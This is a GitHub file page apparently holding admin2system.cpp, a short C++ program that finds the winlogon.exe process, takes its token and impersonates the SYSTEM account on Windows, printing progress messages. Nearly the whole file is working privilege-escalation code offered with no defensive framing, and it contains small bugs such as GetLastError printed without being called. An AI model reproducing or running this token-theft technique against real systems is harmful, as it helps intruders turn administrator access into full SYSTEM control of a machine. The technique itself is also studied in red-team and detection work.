-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathadmin2system.cpp
More file actions
96 lines (71 loc) · 2.38 KB
/
admin2system.cpp
File metadata and controls
96 lines (71 loc) · 2.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <Windows.h>
#include <tlhelp32.h>
#include <comdef.h>
#include <Lmcons.h>
#include <iostream>
#pragma comment(lib, "advapi32.lib")
// Hunt winlogon PID
int getTargetPID() {
// Dataset
const char* executable = "winlogon.exe";
PROCESSENTRY32 pe = {};
pe.dwSize = sizeof(PROCESSENTRY32);
int PID = 0;
std::cout << "[+] Hunting for winlogon.exe PID...\n";
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE) {
std::cout << "CreateToolhelp32Snapshot() error: " << GetLastError;
}
BOOL hResult = Process32First(hSnapshot, &pe);
while (hResult) {
_bstr_t b(pe.szExeFile);
const char* exefile = b;
if(strcmp(executable, exefile) == 0) {
std::cout << "[+] Found! PID: " << pe.th32ProcessID << "\n";
PID = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return PID;
}
// Get username of current token
std::string getusername() {
char username[UNLEN+1];
DWORD username_len = UNLEN+1;
GetUserNameA(username, &username_len);
std::string username_s = username;
return username_s;
}
// Impersonate SYSTEM account
int getSystem(int PID) {
// Dataset
HANDLE hToken;
STARTUPINFOW siw = {};
siw.cb = sizeof(siw);
PROCESS_INFORMATION pi = {};
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, PID);
if(hProcess == INVALID_HANDLE_VALUE) {
std::cout << "[!] OpenProcess() failed. Code error: " << GetLastError();
return -1;
}
std::cout << "[+] Process WinLogon.exe opened!\n";
if(!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
std::cout << "[!] OpenProcessToken() failed. Code error: " << GetLastError();
return -1;
}
std::cout << "[+] SYSTEM token extracted...\n";
if(!ImpersonateLoggedOnUser(hToken)) {
std::cout << "[!] ImpersonateLoggedOnUser() failed. Code error: " << GetLastError();
return -1;
}
std::cout << "[+] Current thread running as: " << getusername().c_str() << "\n";
CloseHandle(hProcess);
CloseHandle(hToken);
return 0;
}
int main() {
int PID = getTargetPID();
getSystem(PID);
}